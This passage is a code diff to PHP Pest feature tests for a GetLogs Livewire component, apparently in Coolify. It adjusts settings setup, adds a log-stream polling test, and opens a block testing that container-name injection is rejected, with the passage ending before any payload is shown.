+    $fileVolume = $serviceApplication->fileStorages()->where('mount_path', '/app/data')->first();
+
+    expect($fileVolume->content)->toBeNull()
+        ->and($fileVolume->is_directory)->toBeTrue();
+});

tests/Feature/GetLogsCommandInjectionTest.php

@@ -69,7 +69,7 @@ describe('GetLogs locked properties', function () {
 describe('GetLogs Livewire action validation', function () {
     test('getLogs rejects invalid container name', function () {
         // Make server functional by setting settings directly
-        $this->server->settings->forceFill([
+        $this->server->settings->fill([
             'is_reachable' => true,
             'is_usable' => true,
             'force_disabled' => false,
@@ -100,7 +100,7 @@ describe('GetLogs Livewire action validation', function () {
     });
 
     test('downloadAllLogs returns empty for invalid container name', function () {
-        $this->server->settings->forceFill([
+        $this->server->settings->fill([
             'is_reachable' => true,
             'is_usable' => true,
             'force_disabled' => false,
@@ -130,6 +130,20 @@ describe('GetLogs Livewire action validation', function () {
     });
 });
 
+describe('GetLogs stream polling', function () {
+    test('streaming logs polls when log panel is not collapsible', function () {
+        Livewire::test(GetLogs::class, [
+            'server' => $this->server,
+            'resource' => $this->application,
+            'container' => 'coolify-sentinel',
+            'collapsible' => false,
+        ])
+            ->assertDontSeeHtml('wire:poll.2000ms="getLogs(true)"')
+            ->call('toggleStreamLogs')
+            ->assertSeeHtml('wire:poll.2000ms="getLogs(true)"');
+    });
+});
+
 describe('GetLogs container name injection payloads are blocked by validation', function () {
     test('newline injection payload is rejected', function () {
         // The exact PoC payload from the advisory